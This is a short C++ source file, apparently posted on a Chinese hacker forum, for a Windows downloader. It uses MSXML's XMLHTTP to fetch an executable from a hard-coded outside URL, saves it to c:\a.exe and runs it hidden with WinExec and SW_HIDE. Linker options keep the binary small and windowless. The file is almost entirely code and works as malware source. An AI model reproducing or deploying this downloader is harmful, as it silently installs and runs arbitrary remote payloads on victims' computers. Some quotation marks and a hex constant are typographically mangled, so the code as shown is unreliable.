作者：CoolDiyer
来源：红狼

// xml.cpp : By CoolDiyer 2008/4/9 14:03
//
#pragma comment(linker, “/subsystem:windows /FILEALIGN:0×200 /opt:nowin98“)

#include <windows.h>
#include <atlbase.h>
#import “msxml.dll”
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance(”msxml2.xmlhttp“);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open(”GET“, szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;

VARIANT vValue;
xmlHttp->get_responseStream(&vValue);

IStream *pIStream = NULL;
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal;  //取得流对象指针
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart);  //取得文件的长度

HANDLE hFile  = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

BYTE lpBuffer[1024];
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
  pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
  WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
  nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
  pIStream->Release();
  pIStream = NULL;
}
return true;
}

int WINAPI WinMain(
      HINSTANCE hInstance,      // handle to current instance
      HINSTANCE hPrevInstance,  // handle to previous instance
      LPSTR lpCmdLine,          // command line
      int nCmdShow              // show state
)
{
CoInitialize(NULL);
char *lpszFile = “c:\\a.exe“;
URLDownloadToFile(”http://xdiyer.com/x.exe“, lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}